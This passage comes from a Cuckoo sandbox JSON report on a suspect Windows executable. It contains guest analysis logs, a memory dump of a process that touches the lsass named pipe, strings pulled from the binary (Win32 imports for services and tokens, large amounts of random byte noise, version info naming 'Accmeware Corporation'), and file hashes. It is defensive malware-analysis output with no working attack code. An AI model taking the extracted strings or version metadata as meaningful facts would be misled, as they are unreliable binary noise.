INFO: Added new file to list with pid 2276 and path \\Device\\NamedPipe\\lsass\n","2023-11-18
11:12:36,375 [analyzer] INFO: Analysis timeout hit, terminating analysis.\n","2023-11-18
11:12:39,140 [lib.api.process] INFO: Memory dump of process with pid 2276
completed\n","2023-11-18 11:12:39,140 [analyzer] WARNING: File at path
u'\\\\device\\\\namedpipe\\\\lsass' does not exist, skip.\n","2023-11-18 11:12:39,155 [analyzer]
INFO: Analysis completed.\n"],"cuckoo":["2023-11-18 12:11:30,640 [cuckoo.core.scheduler]
INFO: Task #22: acquired machine 192.168.56.1011 (label=192.168.56.1011)\n","2023-11-18
12:11:30,640 [cuckoo.core.resultserver] DEBUG: Now tracking machine 192.168.56.101 for
task #22\n","2023-11-18 12:11:30,641 [cuckoo.core.plugins] DEBUG: Started auxiliary module:
Replay\n","2023-11-18 12:11:30,656 [cuckoo.auxiliary.sniffer] INFO: Started sniffer with PID
5759 (interface=vboxnet0, host=192.168.56.101)\n","2023-11-18 12:11:30,656
[cuckoo.core.plugins] DEBUG: Started auxiliary module: Sniffer\n","2023-11-18 12:11:30,826
[cuckoo.machinery.virtualbox] DEBUG: Starting vm 192.168.56.1011\n","2023-11-18
12:11:31,005 [cuckoo.machinery.virtualbox] DEBUG: Restoring virtual machine
192.168.56.1011 to its current snapshot\n","2023-11-18 12:11:36,770 [cuckoo.core.guest]
INFO: Starting analysis #22 on guest (id=192.168.56.1011, ip=192.168.56.101)\n","2023-11-18
12:11:37,777 [cuckoo.core.guest] DEBUG: 192.168.56.1011: not ready yet\n","2023-11-18
12:11:38,088 [cuckoo.core.guest] INFO: Guest is running Cuckoo Agent 0.10
(id=192.168.56.1011, ip=192.168.56.101)\n","2023-11-18 12:11:38,211 [cuckoo.core.guest]
DEBUG: Uploading analyzer to guest (id=192.168.56.1011, ip=192.168.56.101, monitor=latest,
size=3884763)\n","2023-11-18 12:11:39,332 [cuckoo.core.resultserver] DEBUG: Task #22: live
log analysis.log initialized.\n","2023-11-18 12:11:40,413 [cuckoo.core.resultserver] DEBUG:
Task #22 is sending a BSON stream\n","2023-11-18 12:11:40,853 [cuckoo.core.resultserver]
DEBUG: Task #22 is sending a BSON stream\n","2023-11-18 12:11:43,744 [cuckoo.core.guest]
DEBUG: 192.168.56.1011: analysis #22 still processing\n","2023-11-18 12:11:48,817
[cuckoo.core.guest] DEBUG: 192.168.56.1011: analysis #22 still processing\n","2023-11-18
12:11:53,879 [cuckoo.core.guest] DEBUG: 192.168.56.1011: analysis #22 still
processing\n","2023-11-18 12:11:58,943 [cuckoo.core.guest] DEBUG: 192.168.56.1011:
analysis #22 still processing\n","2023-11-18 12:12:04,004 [cuckoo.core.guest] DEBUG:
192.168.56.1011: analysis #22 still processing\n","2023-11-18 12:12:09,069 [cuckoo.core.guest]
DEBUG: 192.168.56.1011: analysis #22 still processing\n","2023-11-18 12:12:14,146
[cuckoo.core.guest] DEBUG: 192.168.56.1011: analysis #22 still processing\n","2023-11-18
12:12:19,219 [cuckoo.core.guest] DEBUG: 192.168.56.1011: analysis #22 still
processing\n","2023-11-18 12:12:24,300 [cuckoo.core.guest] DEBUG: 192.168.56.1011:
analysis #22 still processing\n","2023-11-18 12:12:29,363 [cuckoo.core.guest] DEBUG:
192.168.56.1011: analysis #22 still processing\n","2023-11-18 12:12:34,423 [cuckoo.core.guest]
DEBUG: 192.168.56.1011: analysis #22 still processing\n","2023-11-18 12:12:39,480
[cuckoo.core.guest] DEBUG: 192.168.56.1011: analysis #22 still processing\n","2023-11-18
12:12:44,548 [cuckoo.core.guest] DEBUG: 192.168.56.1011: analysis #22 still
processing\n","2023-11-18 12:12:49,618 [cuckoo.core.guest] DEBUG: 192.168.56.1011:
analysis #22 still processing\n","2023-11-18 12:12:54,682 [cuckoo.core.guest] DEBUG:
192.168.56.1011: analysis #22 still processing\n","2023-11-18 12:12:59,766 [cuckoo.core.guest]
DEBUG: 192.168.56.1011: analysis #22 still processing\n","2023-11-18 12:13:04,839
[cuckoo.core.guest] DEBUG: 192.168.56.1011: analysis #22 still processing\n","2023-11-18
12:13:09,905 [cuckoo.core.guest] DEBUG: 192.168.56.1011: analysis #22 still
```

processing\n","2023-11-18 12:13:14,984 [cuckoo.core.guest] DEBUG: 192.168.56.1011:
analysis #22 still processing\n","2023-11-18 12:13:20,038 [cuckoo.core.guest] DEBUG:
192.168.56.1011: analysis #22 still processing\n","2023-11-18 12:13:25,118 [cuckoo.core.guest]
DEBUG: 192.168.56.1011: analysis #22 still processing\n","2023-11-18 12:13:30,186
[cuckoo.core.guest] DEBUG: 192.168.56.1011: analysis #22 still processing\n","2023-11-18
12:13:35,245 [cuckoo.core.guest] DEBUG: 192.168.56.1011: analysis #22 still
processing\n","2023-11-18 12:13:40,315 [cuckoo.core.guest] DEBUG: 192.168.56.1011:
analysis #22 still processing\n","2023-11-18 12:13:42,086 [cuckoo.core.resultserver] DEBUG:
Task #22: File upload for 'memory/2276-1.dmp'\n","2023-11-18 12:13:42,484
[cuckoo.core.resultserver] DEBUG: Task #22 uploaded file length: 47023992\n","2023-11-18
12:13:43,353 [cuckoo."]},"strings":["!This program cannot be run in DOS
mode.","`.rdata","@.data","@.reloc","gdjhX3","$$QfVf^","fTf\\QfRfZ3","3d9vJ6","5S=Phk","?Pn$
@R","*EtO3Mgf","A\u001f8NAhu","/o\u001fPp
","P`<0=u)","iMFj:v06Pj","3Wp_~#","XV5n`!\\@","32MA4t","E0
0FAu&","s0]pKO","3I@'eA","V2;6_E","<9P'.t","3! `6@","xECp$t!","PE3$@u","0tD!4dq","\u001fF
Iv|}",";(2#P#","#S40 du","H$xt|VA;=","^$@_pp","5V
o6~","63W#A!","T3uACn","]ioIQ!","\"15Pt4","SVXtQ q","
V!<C","uXY%1;",">NHSRP1","u>EAPF","PRaE%t","guuBp0a","&Vsa `","Q}>sB7","E`Tu@
t","Pw'_N;","Bc \"E9E","a2;+(j","ebCC9b",";UA#Ib","Q8Pw@AB<Wp@q","4%1$PP","PIF1(5
r",";A`g0'","v Ff(0n","3nP3aW","@Ow1]^","s;$+d_7","MP98:M","CPiQ.a$","a[$3J7","~u0#-
5","Pc6U$G","3@gP =","3S s'(","^>CE?@","4U5;IeW@","TS`5t\u001f","9!cDYc","
\\th0_","9y317P","3'&:au","AQ PU`","3NfBa!0","rri]j1","DW\"9tr","0uWx5b"," t(+F
","+mTm`n","fx${Wb","{|ij\u001f?ta","K5hj-
Z","t}@s;`","hDi3PU","m`+Y\",","[r]p7P","VVs|d\"","u=uQr1","0ArA('","1I-
f|L","Aur;T<|","M#R*N6","Xha2[h","kk\"gok`w`y","Xha2\\h","ExitProcess","GlobalAddAtomA","Get
CurrentProcess","GetModuleHandleW","GetTickCount","AddAtomW","VirtualProtect","GetVersio
n","OpenFile","WideCharToMultiByte","GetLocaleInfoA","GetFileType","DeleteCriticalSection","
CreateFileA","SetCurrentDirectoryA","InterlockedExchange","GlobalSize","GlobalFindAtomA","G
etThreadLocale","FindResourceA","SetStdHandle","ResetEvent","SystemTimeToFileTime","Set
FileTime","GetFileSize","SetThreadPriority","GetFileAttributesExA","ConvertDefaultLocale","Set
EnvironmentVariableA","WriteConsoleW","LeaveCriticalSection","EnumResourceTypesA","Get
SystemDirectoryW","RtlUnwind","GetSystemTimeAsFileTime","FindResourceExA","IsValidCode
Page","LocalUnlock","SearchPathA","CreateFileMappingA","GetTempFileNameA","ReplaceFile
A","EnumResourceNamesA","lstrlenW","SizeofResource","lstrcpyA","CloseHandle","SetFilePoin
ter","GlobalAlloc","HeapQueryInformation","WaitForSingleObject","GetFileAttributesA","GlobalH
andle","DuplicateHandle","GetFullPathNameA","CompareStringA","QueryPerformanceFrequenc
y","GetPrivateProfileStringA","EnumResourceLanguagesA","LocalFileTimeToFileTime","Create
ProcessA","RaiseException","SetErrorMode","DosDateTimeToFileTime","GlobalReAlloc","GetC
onsoleMode","HeapAlloc","GetDriveTypeA","lstrlenA","GetDriveTypeW","FindResourceW","TlsF
ree","GetTimeZoneInformation","FormatMessageA","MultiByteToWideChar","UnlockFile","SetEv
ent","FileTimeToSystemTime","GetUserDefaultLangID","LockFile","TerminateProcess","FileTim
eToLocalFileTime","CopyFileA","WritePrivateProfileStringA","LockResource","lstrcatA","GetCurr
entDirectoryA","CreateFileW","InitializeCriticalSectionAndSpinCount","UnhandledExceptionFilter
","GetFileInformationByHandle","LoadLibraryA","FindFirstChangeNotificationA","IsDebuggerPre
sent","HeapFree","FlushFileBuffers","FreeEnvironmentStringsW","SetPriorityClass","LoadLibrar
yExA","LoadLibraryW","SetHandleCount","TlsSetValue","lstrcmpA","GetStdHandle","GetACP","
GetCommandLineA","GetOEMCP","GetFileSizeEx","GetConsoleCP","InterlockedIncrement","G
etModuleFileNameW","DeleteFileA","SuspendThread","GetStartupInfoW","SetLastError","FreeLi
brary","GetLocalTime","LocalLock","GetVersionExA","RemoveDirectoryA","FileTimeToDosDate
Time","SetEndOfFile","LocalAlloc","WaitForMultipleObjects","GetLastError","LCMapStringW","C

ompareFileTime","GetModuleHandleA","InterlockedDecrement","FreeResource","lstrcpynA","He
apCreate","WriteFile","IsProcessorFeaturePresent","lstrcmpW","GetProcessHeap","FindNextCh
angeNotification","GetVolumeInformationA","CreateDirectoryA","GetCurrentThread","GetCurren
tDirectoryW","SetUnhandledExceptionFilter","ExpandEnvironmentStringsA","CreateEventA","Gl
obalFlags","GlobalLock","HeapSize","GlobalFree","GetUserDefaultUILanguage","TlsAlloc","Get
CPInfo","GetCurrentThreadId","GlobalDeleteAtom","LocalFree","GlobalGetAtomNameA","GetTe
mpPathA","LoadResource","GlobalUnlock","InitializeCriticalSection","GetStringTypeW","FindRe
sourceExW","MoveFileA","GetModuleFileNameA","GetProcAddress","MapViewOfFile","Resume
Thread","GetEnvironmentStringsW","LocalReAlloc","CreateThread","GetProfileIntA","GetWindo
wsDirectoryA","FindCloseChangeNotification","TlsGetValue","CompareStringW","MulDiv","Heap
SetInformation","EnterCriticalSection","GetNumberFormatA","GetSystemInfo","GetShortPathNa
meA","GetPrivateProfileIntA","QueryPerformanceCounter","GetSystemDefaultUILanguage","Wi
nExec","GetDiskFreeSpaceA","GetCurrentProcessId","GetStringTypeExA","GetFileTime","SetFil
eAttributesA","lstrcmpiA","KERNEL32.dll","EnableWindow","IsWindowVisible","GetDesktopWind
ow","CharUpperW","GetKeyboardLayout","IsWindowEnabled","LoadIconA","LoadStringA","SetF
oregroundWindow","GetTopWindow","DestroyWindow","PtInRect","GetWindowThreadProcessI
d","TranslateAcceleratorW","GetParent","SetWindowTextW","GetWindow","AppendMenuW","M
onitorFromWindow","SetFocus","DestroyCursor","SetCursor","GetMenuItemInfoW","LoadString
W","LoadCursorW","UpdateLayeredWindow","ReleaseDC","TrackPopupMenuEx","InvalidateRe
ct","GetMessageW","ScreenToClient","GetClassNameW","GetWindowRect","SetWindowLongW
","GetMenuItemCount","DispatchMessageW","TrackMouseEvent","EnumWindows","EnumChild
Windows","MapWindowPoints","PeekMessageW","CallWindowProcW","DefWindowProcW","Lo
adMenuW","PostQuitMessage","GetClientRect","TranslateMessage","UnregisterClassA","CharN
extW","GetWindowLongW","IsWindow","GetMonitorInfoW","CreatePopupMenu","GetWindowDC
","KillTimer","GetWindowTextW","SendMessageW","PostMessageW","ShowWindow","SetWind
owPos","GetCursorPos","DrawTextW","SetTimer","GetFocus","DestroyMenu","MessageBeep","
LoadImageW","RemoveMenu","MonitorFromPoint","USER32.dll","AnimatePalette","BeginPath",
"CloseFigure","GDI32.dll","RegOpenKeyA","StartServiceW","RegCreateKeyExW","RegCloseKe
y","RegCreateKeyW","QueryServiceStatusEx","RegSetValueExW","SetTokenInformation","Ope
nServiceW","ReportEventW","RegisterServiceCtrlHandlerExW","RevertToSelf","CreateService
W","SetNamedSecurityInfoW","GetNamedSecurityInfoW","RegQueryValueExW","CreateProces
sAsUserW","ControlService","DuplicateTokenEx","GetTokenInformation","StartServiceCtrlDispa
tcherW","DeregisterEventSource","ChangeServiceConfigW","OpenProcessToken","RegEnumK
eyW","DeleteService","RegisterEventSourceW","OpenSCManagerW","RegOpenKeyExW","Set
EntriesInAclW","CloseServiceHandle","SetServiceStatus","BuildExplicitAccessWithNameW","En
umDependentServicesW","ADVAPI32.dll","SHGetSpecialFolderPathW","SHEmptyRecycleBinW
","SHELL32.dll","CoInitialize","ole32.dll","PathRemoveFileSpecW","PathQuoteSpacesW","PathA
ppendW","PathCombineW","StrStrIW","PathFindFileNameW","PathFileExistsW","SHLWAPI.dll",
"VerQueryValueW","VERSION.dll","OleUIBusyW","oledlg.dll","WTSEnumerateSessionsW","WT
SFreeMemory","WTSAPI32.dll","GetModuleFileNameExW","GetModuleInformation","PSAPI.DL
L","malloc","__set_app_type","msvcrt.dll","_CIsin","_CIcos","_except_handler3","js6\"We","\"(@f
uo","\"L@5sV","dA 1LV","0n0hS8",")vEt;hM","syPYg@","`uWAtS","
Yuz32","6cu36`a","[y0A;Tt","bYDIfI","E0;qpe","F!Rz<V","1Tq4nf#","o?Y;oJ","p?1H$*x","CYF]6t0"
,"?$h!>a","33333333333333330","333333~","3333330","33333333333","33333330","QPQ__^]]\\
\\[[!","{{{z21,0^_^]]\\\\[[",",0^_^]]\\\\[","*0^_^]]\\\\","*0^_^]]\\","*0^_^]]",")0^_^]","}y)0^_^","}x)0^_","}}}|
vvuutts","jmmllkkjji","~~~~~~","ggffeddcbbaZ","~hhhhh","%#&MLKJBBA@?>D","732/-
","^V]kihgfe","Skihgf","u{zywv","srqponj","85ZYRQPON","~}|>=HGFED","zvu]\\
\u001f","(:97654","EHGFBA?;","J\\b`_TV9;","KZmml.e:8;","LYmlk5ld17;","MWlkjX3*&0<","NUkjih
gfd,=","O6jihgfdc)>","P4ihgfdc`'@","Q2hgfdc`]%C","R/gfdc`]Z#D","S-fdc`]ZY!E","a*('&$#\"
\u001fJ","aaS`^^","frG?] ","sg?ZB2","'PTrJ]vS","T(P~%Fy#","T(7vmR",".o?;Z%}","z?>jj7","xne9

Q8l",")!fb=r","Jvh$F\\Z","@E2=mJ","t'LT[Cfl","_GNo9r","q33xb-q","ZLaEz
2","%:p`i3","XzaM9<v}@","b3@`4Pr@':","z;-;vH","/(G6[?","s~*pMT","_0b\"MR","1K5t-
3^",")V]<hm","pfa[S@","o{vy;H",";{0eWO","@
B]cOj","R\"~BbO","PjOXXu","&BS[?Vg","cH8RmX","(xD~/uS","V{+JW0]","ml]{EO","<5quVl","`S?
s%sV","]+C
s7~","6qwqB[",",V/I>n","i.T]w]","=Vi8SF","1@2Z2c2","3?4I4Y4o4","4'595L5s5","6+6P6X6x6","7$
7D7L7k7s7","728U8v8","8$9K9Y9",":!:):2:::F:N:W:_:k:s:",";*;2;;;C;O;W;c;k;t;|;","<#<2<><S<\\<b<j
<","?&?C?S?z?","
0)0S0X0",";\u001f; ;$;);-;-;:;
A;B;F;J;M;O;[;h;l;l;q;q;w;z;","<\"<$<&</<3<4<5<7<F<Q<Y<^<`<b<j<p<s<t<t<v<","=&=+=/=0=5=:
=>=B=D=L=M=S=Z=f=g=m=s=u=u=",">\u001f>#>#>9>;>A>D>G>G>I>I>O>Q>R>V>Z>[>\\>_>`
>h>j>n>p>y>","?2?8?>?","$4(4,4044484<4@4D4H4L4P4T4X4\\4`4d4h4l4p4t4x4|4","5
5$5(5,5054585<5@5D5H5L5P5T5X5\\5`5d5h5l5p5t5x5|5","6
6$6(6,6064686<6@6D6H6L6P6T6X6\\6`6d6h6l6p6t6x6|6","7
7$7(7,7074787<7@7D7H7L7P7T7X7\\7`7d7h7l7p7t7x7|7","8
8$8(8,8084888<8@8D8H8L8P8T8X8\\8`8d8h8l8p8t8x8|8","9
9$9(9,9094989<9@9D9H9L9P9T9
X9\\9`9d9h9l9p9t9x9|9",": :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\\:`:d:h:l:p:t:x:|:",
"; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\\;`;d;h;l;p;t;x;|;","<
<$<(<,<0<4<8<<<@<D<H<L<P<T<X<\\<`<d<h<l<p<t<x<|<","=
=$=(=,=0=4=8=<=@=D=H=L=P=
T=X=\\=`=d=h=l=p=t=x=|=","> >$>(>,>0>4>8><>@>D>H>L>P>T>
X>\\>`>d>h>l>p>t>x>|>","? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\\?`
?d?h?l?p?t?x?|?","0 0$0(0,0004080<0@0D0H0L0P0T0X0\\0`0d0h0l0p0t0x0|0","1
1$1(1,1014181<1@1D1H1L1P1T1X1\\1`1d1h1l1p1t1x1|1","2
2$2(2,2024282<2@2D2H2L2P2T2X2\\2`2d2h2l2p2t2x2|2","3
3$3(3,3034383<3@3D3H3L3P3T3X3\\3`3d3h3l3p3t3x3|3","4
4$4(4,4044484<4@4D4H4L4P4T4X4\\4`4d4h4l4p4t4x4|4","5
5$5(5,5054585<5@5D5H5L5P5T5X5\\5`5d5h5l5p5t5x5|5","6
6$6(6,6064686<6@6D6H6L6P6T6X6\\6`6d6h6l6p6t6x6|6","7
7$7(7,7074787<7@7D7H7L7P7T7X7\\7`7d7h7l7p7t7x7|7","8
8$8(8,8084888<8@8D8H8L8P8T8X8\\8`8d8h8l8p8t8x8|8","9
9$9(9,9094989<9@9D9H9L9P9T9
X9\\9`9d9h9l9p9t9x9|9",": :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\\:`:d:h:l:p:t:x:|:",
"; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\\;`;d;h;l;p;t;x;|;","<
<$<(<,<0<4<8<<<@<D<H<L<P<T<X<\\<`<d<h<l<p<t<x<|<","=
=$=(=,=0=4=8=<=@=D=H=L=P=
T=X=\\=`=d=h=l=p=t=x=|=","> >$>(>,>0>4>8><>@>D>H>L>P>T>
X>\\>`>d>h>l>p>t>x>|>","? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\\?`
?d?h?l?p?t?x?|?","0 0$0(0,0004080<0@0D0H0L0P0T0X0\\0`0d0h0l0p0t0x0|0","1
1$1(1,1014181<1@1D1H1L1P1T1X1\\1`1d1h1l1p1t1x1|1","2
2$2(2,2024282<2@2D2H2L2P2T2X2\\2`2d2h2l2p2t2x2|2","3
3$3(3,3034383<3@3D3H3L3P3T3X3\\3`3d3h3l3p3t3x3|3","4
4$4(4,4044484<4@4D4H4L4P4T4X4\\4`4d4h4l4p4t4x4|4","5
5$5(5,5054585<5@5D5H5L5P5T5X5\\5`5d5h5l5p5t5x5|5","6
6$6(6,6064686<6@6D6H6L6P6T6X6\\6`6d6h6l6p6t6x6|6","7
7$7(7,7074787<7@7D7H7L7P7T7X7\\7`7d7h7l7p7t7x7|7","8
8$8(8,8084888<8@8D8H8L8P8T8X8\\8`8d8h8l8p8t8x8|8","9
9$9(9,9094989<9@9D9H9L9P9T9
X9\\9`9d9h9l9p9t9x9|9",": :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\\:`:d:h:l:p:t:x:|:",

"; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\\;`;d;h;l;p;t;x;|;","<
<$<(<,<0<4<8<<<@<D<H<L<P<T<X<\\<`<d<h<l<p<t<x<|<","=
=$=(=,=0=4=8=<=@=D=H=L=P=
T=X=\\=`=d=h=l=p=t=x=|=","> >$>(>,>0>4>8><>@>D>H>L>P>T>
X>\\>`>d>h>l>p>t>x>|>","? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\\?`
?d?h?l?p?t?x?|?","0 0$0(0,0004080<0@0D0H0L0P0T0X0\\0`0d0h0l0p0t0x0|0","1
1$1(1,1014181<1@1D1H1L1P1T1X1\\1`1d1h1l1p1t1x1|1","2
2$2(2,2024282<2@2D2H2L2P2T2X2\\2`2d2h2l2p2t2x2|2","3
3$3(3,3034383<3@3D3H3L3P3T3X3\\3`3d3h3l3p3t3x3|3","4
4$4(4,4044484<4@4D4H4L4P4T4X4\\4`4d4h4l4p4t4x4|4","5
5$5(5,5054585<5@5D5H5L5P5T5X5\\5`5d5h5l5p5t5x5|5","6
6$6(6,6064686<6@6D6H6L6P6T6X6\\6`6d6h6l6p6t6x6|6","7
7$7(7,7074787<7@7D7H7L7P7T7X7\\7`7d7h7l7p7t7x7|7","8
8$8(8,8084888<8@8D8H8L8P8T8X8\\8`8d8h8l8p8t8x8|8","9
9$9(9,9094989<9@9D9H9","351+111","VS_VERSION_INFO","StringFileInfo","040904e4","CompanyName","Accmeware Corporation","FileVersion","5, 2, 3, 0","LegalCopyright","Copyright (C) 2007-2012 All rights Reserved.","PrivateBuild","2015.02.13","ProductVersion","5, 2, 3, 0","SpecialBuild","2015.02.13","VarFileInfo","Translation"],"metadata":{"output":{"memdumps":[{"basename":"2276-1.dmp","sha256":"d37a16ee98b26c95dab4c8f0308997ff2cc9727037f7ef4e0a33268d7b4756d5","dirname":"memory"}],"pcap":{"basename":"dump.pcap","sha256":"4cc9a5212410092ab17ec0ddfb27572004e900587cd0d3d188e0c690881e866c","dirname":""},"buffers":[{"basename":"da2b9ba34c4099cc88890f06d48791eda50073bb","sha256":"cb4a502caf37f36ff9b8a5ed6764013799535f8eef1d9067a906fa0a99bd9853","dirname":"buffer"}]}}}